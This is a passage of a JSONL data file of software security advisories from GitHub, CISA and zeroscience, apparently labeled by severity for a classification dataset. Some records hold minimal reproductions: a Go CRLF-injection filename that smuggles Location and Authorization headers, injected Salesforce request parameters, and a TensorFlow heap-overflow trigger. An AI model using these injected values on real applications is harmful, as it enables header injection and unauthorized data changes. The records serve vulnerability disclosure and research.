HTTP request, [see acunetix](https://www.acunetix.com/websitesecurity/crlf-injection/)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [gofiber/fiber](https://github.com/gofiber/fiber)\n* Join us on [Discord](https://gofiber.io/discord)", "text_raw": "CRLF vulnerability in Fiber\n\n[Severity: MEDIUM]\n\n### Impact\nThe filename that is given in [c.Attachment()](https://docs.gofiber.io/ctx#attachment) is not escaped, and therefore vulnerable for a CRLF injection attack. I.e. an attacker could upload a custom filename and then give the link to the victim. With this filename, the attacker can change the name of the downloaded file, redirect to another site, change the authorization header, etc.\n\n### Steps to reproduce\n```go\npackage main\n\nimport \"github.com/gofiber/fiber\"\n\nconst badFileName = \"another secret document.pdf\\\"\\r\\nLocation: google.com\\r\\nAuthorization: \\\"example_of_session_fixation\"\n\nfunc splitTheResponse(c *fiber.Ctx) {\n\tc.Attachment(badFileName)\n}\n\nfunc main() {\n\tapp := fiber.New()\n\tapp.Get(\"/attack\", splitTheResponse)\n\tapp.Listen(\"127.0.0.1:8080\")\n}\n```\n```\nHTTP/1.1 200 OK\nDate: Fri, 10 Jul 2020 19:47:04 GMT\nContent-Type: application/octet-stream\nContent-Length: 0\nContent-Disposition: attachment; filename=\"another secret document.pdf\"\nLocation: google.com\nAuthorization: \"example_of_session_fixation\"\n```\n\n### Patches\nThis issue has been patched in `v1.12.6` with commit [579](https://github.com/gofiber/fiber/pull/579/commits/f698b5d5066cfe594102ae252cd58a1fe57cf56f) escaping the filename by default.\n\n### Workarounds\nYou could of course serialize the input yourself before passing it to `ctx.Attachment()`, this is actually a good practice by default. But in case you forget, we got you covered 👍 \n\n### References\nA CRLF injection attack is one of several types of injection attacks. It can be used to escalate to more malicious attacks such as Cross-site Scripting (XSS), page injection, web cache poisoning, cache-based defacement, and more. A CRLF injection vulnerability exists if an attacker can inject the CRLF characters into a web application, for example using a user input form or an HTTP request, [see acunetix](https://www.acunetix.com/websitesecurity/crlf-injection/)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [gofiber/fiber](https://github.com/gofiber/fiber)\n* Join us on [Discord](https://gofiber.io/discord)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-29", "split": "train"}
-{"id": "77d8c5a9657f3cfdd802", "text": "Format string vulnerabilities in pancurses\n\nAn issue was discovered in the pancurses crate through 0.16.1 for Rust. printw and mvprintw have format string vulnerabilities.", "text_raw": "Format string vulnerabilities in pancurses\n\n[Severity: HIGH]\n\nAn issue was discovered in the pancurses crate through 0.16.1 for Rust. printw and mvprintw have format string vulnerabilities.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "1332247734e2282f03ce", "text": "Directory Traversal in bitty\n\nAffected versions of `bitty` are vulnerable to directory traversal via the URL path in GET requests.\n\n## Recommendation\n\nThe `bitty` package is not currently maintained, and has not seen an update since 2015.\n\nAt this time, the best available mitigation is to use an alternative module that is actively maintained and provides similar functionality, such as [serve](https://www.npmjs.com/package/serve).", "text_raw": "Directory Traversal in bitty\n\n[Severity: MEDIUM]\n\nAffected versions of `bitty` are vulnerable to directory traversal via the URL path in GET requests.\n\n\n## Recommendation\n\nThe `bitty` package is not currently maintained, and has not seen an update since 2015. \n\nAt this time, the best available mitigation is to use an alternative module that is actively maintained and provides similar functionality, such as [serve](https://www.npmjs.com/package/serve).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "7175e02b66930e4a29e3", "text": "Improper Authentication in Apache Shiro\n\nApache Shiro is a powerful and easy-to-use Java security framework that performs authentication, authorization, cryptography, and session management. Apache Shiro before 1.5.3, when using Apache Shiro with Spring dynamic controllers, a specially crafted request may cause an authentication bypass.", "text_raw": "Improper Authentication in Apache Shiro\n\n[Severity: CRITICAL]\n\nApache Shiro is a powerful and easy-to-use Java security framework that performs authentication, authorization, cryptography, and session management. Apache Shiro before 1.5.3, when using Apache Shiro with Spring dynamic controllers, a specially crafted request may cause an authentication bypass.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-07", "split": "train"}
-{"id": "45c9e2e01b00d8b3c26d", "text": "Apple Multiple Products Code Execution Vulnerability\n\nAffected: Apple Multiple Products\n\nApple iOS, iPadOS, macOS, watchOS, and tvOS contain an unspecified vulnerability that may allow an application to execute code with kernel privileges.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-415\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Apple Multiple Products Code Execution Vulnerability\n\nAffected: Apple Multiple Products\n\nApple iOS, iPadOS, macOS, watchOS, and tvOS contain an unspecified vulnerability that may allow an application to execute code with kernel privileges.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-415\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "d9b79a4fb397e8f3bc7c", "text": "Exposure of Resource to Wrong Sphere in valib\n\nvalib through 2.0.0 allows Internal Property Tampering. A maliciously crafted JavaScript object can bypass several inspection functions provided by valib. Valib uses a built-in function (hasOwnProperty) from the unsafe user-input to examine an object. It is possible for a crafted payload to overwrite this function to manipulate the inspection results to bypass security checks.", "text_raw": "Exposure of Resource to Wrong Sphere in valib\n\n[Severity: MEDIUM]\n\nvalib through 2.0.0 allows Internal Property Tampering. A maliciously crafted JavaScript object can bypass several inspection functions provided by valib. Valib uses a built-in function (hasOwnProperty) from the unsafe user-input to examine an object. It is possible for a crafted payload to overwrite this function to manipulate the inspection results to bypass security checks.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "4f958a1e6a8f7886ba74", "text": "Code Injection in md-to-pdf.\n\nThe package md-to-pdf before 5.0.0 are vulnerable to Remote Code Execution (RCE) due to utilizing the library gray-matter to parse front matter content, without disabling the JS engine.", "text_raw": "Code Injection in md-to-pdf.\n\n[Severity: CRITICAL]\n\nThe package md-to-pdf before 5.0.0 are vulnerable to Remote Code Execution (RCE) due to utilizing the library gray-matter to parse front matter content, without disabling the JS engine.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-12-16", "split": "train"}
-{"id": "9dcc8ffe0c8189befefe", "text": "Regular Expression Denial of Service in Leo Editor\n\nLeo Editor v6.2.1 was discovered to contain a regular expression denial of service (ReDoS) vulnerability in the component plugins/importers/dart.py.", "text_raw": "Regular Expression Denial of Service in Leo Editor\n\n[Severity: HIGH]\n\nLeo Editor v6.2.1 was discovered to contain a regular expression denial of service (ReDoS) vulnerability in the component plugins/importers/dart.py.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-23", "split": "train"}
-{"id": "a409f5f0ea9a6b70de99", "text": "DALIM SOFTWARE ES Core 5.0 build 7184.1 User Enumeration Weakness", "text_raw": "DALIM SOFTWARE ES Core 5.0 build 7184.1 User Enumeration Weakness\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2017-08-09", "split": "train"}
-{"id": "bf7bc6e759ad8a5b2070", "text": "RFD attack via Content-Disposition header sourced from request input by Spring MVC or Spring WebFlux Application\n\nIn Spring Framework, versions 5.2.x prior to 5.2.3, versions 5.1.x prior to 5.1.13, and versions 5.0.x prior to 5.0.16, an application is vulnerable to a reflected file download (RFD) attack when it sets a \"Content-Disposition\" header in the response where the filename attribute is derived from user supplied input.", "text_raw": "RFD attack via Content-Disposition header sourced from request input by Spring MVC or Spring WebFlux Application\n\n[Severity: HIGH]\n\nIn Spring Framework, versions 5.2.x prior to 5.2.3, versions 5.1.x prior to 5.1.13, and versions 5.0.x prior to 5.0.16, an application is vulnerable to a reflected file download (RFD) attack when it sets a \"Content-Disposition\" header in the response where the filename attribute is derived from user supplied input.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-01-21", "split": "train"}
-{"id": "36bea9b455862becbebe", "text": "Broken Access Control in Form Framework\n\n### Problem\nDue to improper input validation, attackers can by-pass restrictions of predefined options and submit arbitrary data in the Form Designer backend module of the Form Framework.\n\nIn the default configuration of the Form Framework this allows attackers to explicitly allow arbitrary mime-types for file uploads - however, default _fileDenyPattern_ successfully blocked files like _.htaccess_ or _malicious.php_. Besides that, attackers can persist those files in any writable directory of the corresponding TYPO3 installation.\n\nA valid backend user account with access to the form module is needed to exploit this vulnerability.\n\n### Solution\nUpdate to TYPO3 versions 8.7.40, 9.5.25, 10.4.14, 11.1.1 that fix the problem described.\n\n### Credits\nThanks to Richie Lee who reported this issue and to TYPO3 contributor Ralf Zimmermann who fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2021-003](https://typo3.org/security/advisory/typo3-core-sa-2021-003)", "text_raw": "Broken Access Control in Form Framework\n\n[Severity: HIGH]\n\n\n### Problem\nDue to improper input validation, attackers can by-pass restrictions of predefined options and submit arbitrary data in the Form Designer backend module of the Form Framework.\n\nIn the default configuration of the Form Framework this allows attackers to explicitly allow arbitrary mime-types for file uploads - however, default _fileDenyPattern_ successfully blocked files like _.htaccess_ or _malicious.php_. Besides that, attackers can persist those files in any writable directory of the corresponding TYPO3 installation.\n\nA valid backend user account with access to the form module is needed to exploit this vulnerability.\n\n### Solution\nUpdate to TYPO3 versions 8.7.40, 9.5.25, 10.4.14, 11.1.1 that fix the problem described.\n\n### Credits\nThanks to Richie Lee who reported this issue and to TYPO3 contributor Ralf Zimmermann who fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2021-003](https://typo3.org/security/advisory/typo3-core-sa-2021-003)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-23", "split": "train"}
-{"id": "8846d349d95e8e7ee539", "text": "Unrestricted Upload of File with Dangerous Type in blueimp-file-upload\n\nUnauthenticated arbitrary file upload vulnerability in Blueimp jQuery-File-Upload <= v9.22.0", "text_raw": "Unrestricted Upload of File with Dangerous Type in blueimp-file-upload\n\n[Severity: CRITICAL]\n\nUnauthenticated arbitrary file upload vulnerability in Blueimp jQuery-File-Upload <= v9.22.0", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-22", "split": "train"}
-{"id": "00273e33fe3ba2a757ec", "text": "restforce vulnerable to Improper Input Validation\n\nA flaw in how restforce constructs URLs may allow an attacker to inject additional parameters into Salesforce API requests.\n\nImpact\n------\nThis flaw is only exploitable in applications that pass user input directly to restforce's select, find, describe, update, upsert, and destroy methods.\n\nVulnerable code might look like:\n```ruby\n  client.select('SomeSalesForceObject', params[:some-id],\n     ...)\n```\n\nIn such an application, attackers could pass `0016000000MRatd/describe`  as a request parameter, causing the server to make a request to a different endpoint than the server is designed to handle. Since the Salesforce REST API supports overriding HTTP methods via a request parameter, an attacker could also cause the client's `select()` method to modify data, by passing `0016000000MRatd/?_HttpMethod=PATCH&other-query-params=...`.\n\nWorkarounds\n------\nIf possible, applications should track salesforce IDs internally, rather than passing user-supplied IDs to salesforce. Such practice mitigates this vulnerability, and in general is desirable for ensuring strong access control.", "text_raw": "restforce vulnerable to Improper Input Validation\n\n[Severity: CRITICAL]\n\nA flaw in how restforce constructs URLs may allow an attacker to inject additional parameters into Salesforce API requests.   \n\nImpact\n------\nThis flaw is only exploitable in applications that pass user input directly to restforce's select, find, describe, update, upsert, and destroy methods. \n\nVulnerable code might look like:\n```ruby\n  client.select('SomeSalesForceObject', params[:some-id],\n     ...)\n```\n\nIn such an application, attackers could pass `0016000000MRatd/describe`  as a request parameter, causing the server to make a request to a different endpoint than the server is designed to handle. Since the Salesforce REST API supports overriding HTTP methods via a request parameter, an attacker could also cause the client's `select()` method to modify data, by passing `0016000000MRatd/?_HttpMethod=PATCH&other-query-params=...`.\n\nWorkarounds\n------\nIf possible, applications should track salesforce IDs internally, rather than passing user-supplied IDs to salesforce. Such practice mitigates this vulnerability, and in general is desirable for ensuring strong access control.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-08-03", "split": "train"}
-{"id": "42825264142248cd334b", "text": "Exposure of Sensitive Information to an Unauthorized Actor\n\nShopware is an open source eCommerce platform. Versions prior to 5.6.10 are vulnerable to system information leakage in error handling. Users are recommend to update to version 5.6.10. You can get the update to 5.6.10 regularly via the Auto-Updater or directly via the download overview.", "text_raw": "Exposure of Sensitive Information to an Unauthorized Actor\n\n[Severity: MEDIUM]\n\nShopware is an open source eCommerce platform. Versions prior to 5.6.10 are vulnerable to system information leakage in error handling. Users are recommend to update to version 5.6.10. You can get the update to 5.6.10 regularly via the Auto-Updater or directly via the download overview.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-08", "split": "train"}
-{"id": "a893175b39384da5323d", "text": "Ivanti Pulse Connect Secure Use-After-Free Vulnerability\n\nAffected: Ivanti Pulse Connect Secure\n\nIvanti Pulse Connect Secure contains a use-after-free vulnerability that allow a remote, unauthenticated attacker to execute code via license services.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-287\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Ivanti Pulse Connect Secure Use-After-Free Vulnerability\n\nAffected: Ivanti Pulse Connect Secure\n\nIvanti Pulse Connect Secure contains a use-after-free vulnerability that allow a remote, unauthenticated attacker to execute code via license services.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-287\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "482f172f9d821623a9d6", "text": "Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway XSS Vulnerabilities", "text_raw": "Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway XSS Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2018-07-17", "split": "train"}
-{"id": "20bc5ec436b9ccb12a10", "text": "Deserialization of untrusted data in Jackson Databind\n\nFasterXML jackson-databind 2.x before 2.9.10.5 mishandles the interaction between serialization gadgets and typing, related to com.sun.org.apache.xalan.internal.lib.sql.JNDIConnectionPool (aka xalan2).", "text_raw": "Deserialization of untrusted data in Jackson Databind\n\n[Severity: HIGH]\n\nFasterXML jackson-databind 2.x before 2.9.10.5 mishandles the interaction between serialization gadgets and typing, related to com.sun.org.apache.xalan.internal.lib.sql.JNDIConnectionPool (aka xalan2).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-06-18", "split": "train"}
-{"id": "0cc6cb2398803b1fc283", "text": "Accellion FTA OS Command Injection Vulnerability\n\nAffected: Accellion FTA\n\nAccellion FTA contains an OS command injection vulnerability exploited via a local web service call.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-20, CWE-78\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Accellion FTA OS Command Injection Vulnerability\n\nAffected: Accellion FTA\n\nAccellion FTA contains an OS command injection vulnerability exploited via a local web service call.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-20, CWE-78\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "dd0a100f0f48d9094482", "text": "Regular expression denial of service in codemirror\n\nThis affects the package codemirror before 5.58.2; the package org.apache.marmotta.webjars:codemirror before 5.58.2.\n The vulnerable regular expression is located in https://github.com/codemirror/CodeMirror/blob/cdb228ac736369c685865b122b736cd0d397836c/mode/javascript/javascript.jsL129. The ReDOS vulnerability of the regex is mainly due to the sub-pattern (s|/*.*?*/)*", "text_raw": "Regular expression denial of service in codemirror\n\n[Severity: MEDIUM]\n\nThis affects the package codemirror before 5.58.2; the package org.apache.marmotta.webjars:codemirror before 5.58.2.\n The vulnerable regular expression is located in https://github.com/codemirror/CodeMirror/blob/cdb228ac736369c685865b122b736cd0d397836c/mode/javascript/javascript.jsL129. The ReDOS vulnerability of the regex is mainly due to the sub-pattern (s|/*.*?*/)*", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "1ad19cfee530211f0b06", "text": "os_str_bytes relies on undefined behavior of `char::from_u32_unchecked`\n\nThe Windows implementation of this crate relied on the behavior of std::char::from_u32_unchecked when its safety clause is violated. Even though this worked with Rust versions up to 1.42 (at least), that behavior could change with any new Rust version, possibly leading a security issue.\n\nThe flaw was corrected in version 2.0.0.", "text_raw": "os_str_bytes relies on undefined behavior of `char::from_u32_unchecked`\n\n[Severity: HIGH]\n\nThe Windows implementation of this crate relied on the behavior of std::char::from_u32_unchecked when its safety clause is violated. Even though this worked with Rust versions up to 1.42 (at least), that behavior could change with any new Rust version, possibly leading a security issue.\n\nThe flaw was corrected in version 2.0.0.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "ad7be7719baa89f5c95b", "text": "Heap buffer overflow in `MaxPool3DGradGrad`\n\n### Impact\nThe implementation of `tf.raw_ops.MaxPool3DGradGrad` is vulnerable to a heap buffer overflow:\n\n```python\nimport tensorflow as tf\n\nvalues = [0.01] * 11\norig_input = tf.constant(values, shape=[11, 1, 1, 1, 1], dtype=tf.float32)\norig_output = tf.constant([0.01], shape=[1, 1, 1, 1, 1], dtype=tf.float32)\ngrad = tf.constant([0.01], shape=[1, 1, 1, 1, 1], dtype=tf.float32)\nksize = [1, 1, 1, 1, 1]\nstrides = [1, 1, 1, 1, 1]\npadding = \"SAME\"\n\ntf.raw_ops.MaxPool3DGradGrad(\n    orig_input=orig_input, orig_output=orig_output, grad=grad, ksize=ksize,\n    strides=strides, padding=padding)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/596c05a159b6fbb9e39ca10b3f7753b7244fa1e9/tensorflow/core/kernels/pooling_ops_3d.cc#L694-L696) does not check that the initialization of `Pool3dParameters` completes successfully:\n\n```cc\nPool3dParameters params{context,  ksize_,       stride_,\n                        padding_, data_format_, tensor_in.shape()};\n```\n\nSince [the constructor](https://github.com/tensorflow/tensorflow/blob/596c05a159b6fbb9e39ca10b3f7753b7244fa1e9/tensorflow/core/kernels/pooling_ops_3d.cc#L48-L88) uses `OP_REQUIRES` to validate conditions, the first assertion that fails interrupts the initialization of `params`, making it contain invalid data. In turn, this might cause a heap buffer overflow, depending on default initialized values.\n\n### Patches\nWe have patched the issue in GitHub commit [63c6a29d0f2d692b247f7bf81f8732d6442fad09](https://github.com/tensorflow/tensorflow/commit/63c6a29d0f2d692b247f7bf81f8732d6442fad09).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "text_raw": "Heap buffer overflow in `MaxPool3DGradGrad`\n\n[Severity: LOW]\n\n### Impact\nThe implementation of `tf.raw_ops.MaxPool3DGradGrad` is vulnerable to a heap buffer overflow: \n\n```python\nimport tensorflow as tf\n\nvalues = [0.01] * 11\norig_input = tf.constant(values, shape=[11, 1, 1, 1, 1], dtype=tf.float32)\norig_output = tf.constant([0.01], shape=[1, 1, 1, 1, 1], dtype=tf.float32)\ngrad = tf.constant([0.01], shape=[1, 1, 1, 1, 1], dtype=tf.float32)\nksize = [1, 1, 1, 1, 1]\nstrides = [1, 1, 1, 1, 1]\npadding = \"SAME\"\n\ntf.raw_ops.MaxPool3DGradGrad(\n    orig_input=orig_input, orig_output=orig_output, grad=grad, ksize=ksize,\n    strides=strides, padding=padding)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/596c05a159b6fbb9e39ca10b3f7753b7244fa1e9/tensorflow/core/kernels/pooling_ops_3d.cc#L694-L696) does not check that the initialization of `Pool3dParameters` completes successfully:\n\n```cc\nPool3dParameters params{context,  ksize_,       stride_,\n                        padding_, data_format_, tensor_in.shape()};\n```\n\nSince [the constructor](https://github.com/tensorflow/tensorflow/blob/596c05a159b6fbb9e39ca10b3f7753b7244fa1e9/tensorflow/core/kernels/pooling_ops_3d.cc#L48-L88) uses `OP_REQUIRES` to validate conditions, the first assertion that fails interrupts the initialization of `params`, making it contain invalid data. In turn, this might cause a heap buffer overflow, depending on default initialized values.\n\n### Patches\nWe have patched the issue in GitHub commit [63c6a29d0f2d692b247f7bf81f8732d6442fad09](https://github.com/tensorflow/tensorflow/commit/63c6a29d0f2d692b247f7bf81f8732d6442fad09).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "a1586ce1910658e8bf60", "text": "Denial of Service in mqtt-packet\n\nVersions of `mqtt-packet` prior to 3.4.6, or 4.x prior to 4.0.5 are affected by a denial of service vulnerability wherein specific sequences of MQTT packets can crash the application.\n\n## Recommendation\n\nVersion 3.x: Update to version 3.4.6 or later.\nVersion 4.x: Update to version 4.0.5 or later.", "text_raw": "Denial of Service in mqtt-packet\n\n[Severity: HIGH]\n\nVersions of `mqtt-packet` prior to 3.4.6, or 4.x prior to 4.0.5 are affected by a denial of service vulnerability wherein specific sequences of MQTT packets can crash the application.\n\n\n\n\n## Recommendation\n\nVersion 3.x: Update to version 3.4.6 or later.\nVersion 4.x: Update to version 4.0.5 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "01768e2bc84071e7a61b", "text": "Email relay in Apache Traffic Control\n\nAn authenticated Apache Traffic Control Traffic Ops user with Portal-level privileges can send a request with a specially-crafted email subject to the /deliveryservices/request Traffic Ops endpoint to send an email, from the Traffic Ops server, with an arbitrary body to an arbitrary email address. Apache Traffic Control 5.1.x users should upgrade to 5.1.3 or 6.0.0. 4.1.x users should upgrade to 5.1.3.", "text_raw": "Email relay in Apache Traffic Control\n\n[Severity: MEDIUM]\n\nAn authenticated Apache Traffic Control Traffic Ops user with Portal-level privileges can send a request with a specially-crafted email subject to the /deliveryservices/request Traffic Ops endpoint to send an email, from the Traffic Ops server, with an arbitrary body to an arbitrary email address. Apache Traffic Control 5.1.x users should upgrade to 5.1.3 or 6.0.0. 4.1.x users should upgrade to 5.1.3.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-13", "split": "train"}
-{"id": "03a0e86d7f4bed37cde2", "text": "ECOA Building Automation System Authorization Bypass / IDOR", "text_raw": "ECOA Building Automation System Authorization Bypass / IDOR\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2021-09-09", "split": "train"}
-{"id": "60c2b5537acaa13d7513", "text": "Rails Multisite secure/signed cookies share secrets between sites in a multi-site application\n\n### Impact\nThis vulnerability impacts any Rails applications using `rails_multisite` alongside Rails' signed/encrypted cookies. Depending on how the application makes use of these cookies, it may be possible for an attacker to re-use cookies on different 'sites' within a multi-site Rails application.\n\n### Patches\nThe issue has been patched in v4 of the `rails_multisite` gem. Note that this upgrade will invalidate all previous signed/encrypted cookies. The impact of this invalidation will vary based on the application architecture.", "text_raw": "Rails Multisite secure/signed cookies share secrets between sites in a multi-site application\n\n[Severity: MEDIUM]\n\n### Impact\nThis vulnerability impacts any Rails applications using `rails_multisite` alongside Rails' signed/encrypted cookies. Depending on how the application makes use of these cookies, it may be possible for an attacker to re-use cookies on different 'sites' within a multi-site Rails application.\n\n### Patches\nThe issue has been patched in v4 of the `rails_multisite` gem. Note that this upgrade will invalidate all previous signed/encrypted cookies. The impact of this invalidation will vary based on the application architecture.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-15", "split": "train"}
-{"id": "92e67c21d6a89ded8a9a", "text": "Malicious Package in js-she3\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in js-she3\n\n[Severity: CRITICAL]\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "d726aef7aa8ce08a8a04", "text": "Singleton lacks bounds on Send and Sync.\n\n`Singleton<T>` is meant to be a static object that can be initialized lazily. In\norder to satisfy the requirement that `static` items must implement `Sync`,\n`Singleton` implemented both `Sync` and `Send` unconditionally.\n\nThis allows for a bug where non-`Sync` types such as `Cell` can be used in\nsingletons and cause data races in concurrent programs.\n\nThe flaw was corrected in commit `b0d2bd20e` by adding trait bounds, requiring\nthe contaiend type to implement `Sync`.", "text_raw": "Singleton lacks bounds on Send and Sync.\n\n[Severity: MEDIUM]\n\n`Singleton<T>` is meant to be a static object that can be initialized lazily. In\norder to satisfy the requirement that `static` items must implement `Sync`,\n`Singleton` implemented both `Sync` and `Send` unconditionally.\n\nThis allows for a bug where non-`Sync` types such as `Cell` can be used in\nsingletons and cause data races in concurrent programs.\n\nThe flaw was corrected in commit `b0d2bd20e` by adding trait bounds, requiring\nthe contaiend type to implement `Sync`.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "35b96a452668063c8e09", "text": "Sandbox escape through template_object in smarty\n\nSandbox protection could be bypassed through access to an internal Smarty object that should have been blocked. Sites that rely on [Smarty Security features](https://www.smarty.net/docs/en/advanced.features.tpl) should upgrade as soon as possible. Please upgrade to 3.1.39 or higher.", "text_raw": "Sandbox escape through template_object in smarty\n\n[Severity: HIGH]\n\nSandbox protection could be bypassed through access to an internal Smarty object that should have been blocked. Sites that rely on [Smarty Security features](https://www.smarty.net/docs/en/advanced.features.tpl) should upgrade as soon as possible. Please upgrade to 3.1.39 or higher.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-02", "split": "train"}
-{"id": "c02e6133059d24f0c92a", "text": "Remote Code Execution via traversal in TAL expressions\n\n### Impact\nMost Python modules are not available for using in TAL expressions that you can add through-the-web, for example in Zope Page Templates. This restriction avoids file system access, for example via the 'os' module. But some of the untrusted modules are available indirectly through Python modules that are available for direct use.\n\nBy default, you need to have the Manager role to add or edit Zope Page Templates through the web. Only sites that allow untrusted users to add/edit Zope Page Templates through the web are at risk.\n\n### Patches\nThe problem has been fixed in Zope 5.2 and 4.6.\n\n### Workarounds\nA site administrator can restrict adding/editing Zope Page Templates through the web using the standard Zope user/role permission mechanisms. Untrusted users should not be assigned the Zope Manager role and adding/editing Zope Page Templates through the web should be restricted to trusted users only.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in the [Zope issue tracker](https://github.com/zopefoundation/Zope/issues)\n* Email us at [security@plone.org](mailto:security@plone.org)", "text_raw": "Remote Code Execution via traversal in TAL expressions\n\n[Severity: HIGH]\n\n### Impact\nMost Python modules are not available for using in TAL expressions that you can add through-the-web, for example in Zope Page Templates. This restriction avoids file system access, for example via the 'os' module. But some of the untrusted modules are available indirectly through Python modules that are available for direct use.\n\nBy default, you need to have the Manager role to add or edit Zope Page Templates through the web. Only sites that allow untrusted users to add/edit Zope Page Templates through the web are at risk.\n\n### Patches\nThe problem has been fixed in Zope 5.2 and 4.6.\n\n### Workarounds\nA site administrator can restrict adding/editing Zope Page Templates through the web using the standard Zope user/role permission mechanisms. Untrusted users should not be assigned the Zope Manager role and adding/editing Zope Page Templates through the web should be restricted to trusted users only.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in the [Zope issue tracker](https://github.com/zopefoundation/Zope/issues)\n* Email us at [security@plone.org](mailto:security@plone.org)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-18", "split": "train"}
-{"id": "6e320baa7babd0b98017", "text": "Secret disclosure when containing characters that become URI encoded\n\n### Impact\n\nSecrets that would normally be masked by `semantic-release` can be accidentally disclosed if they contain characters that become encoded when included in a URL.\n\n### Patches\n\nFixed in v17.2.3\n\n### Workarounds\n\nSecrets that do not contain characters that become encoded when included in a URL are already masked properly.", "text_raw": "Secret disclosure when containing characters that become URI encoded\n\n[Severity: HIGH]\n\n### Impact\n\nSecrets that would normally be masked by `semantic-release` can be accidentally disclosed if they contain characters that become encoded when included in a URL.\n\n### Patches\n\nFixed in v17.2.3\n\n### Workarounds\n\nSecrets that do not contain characters that become encoded when included in a URL are already masked properly.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-11-18", "split": "train"}
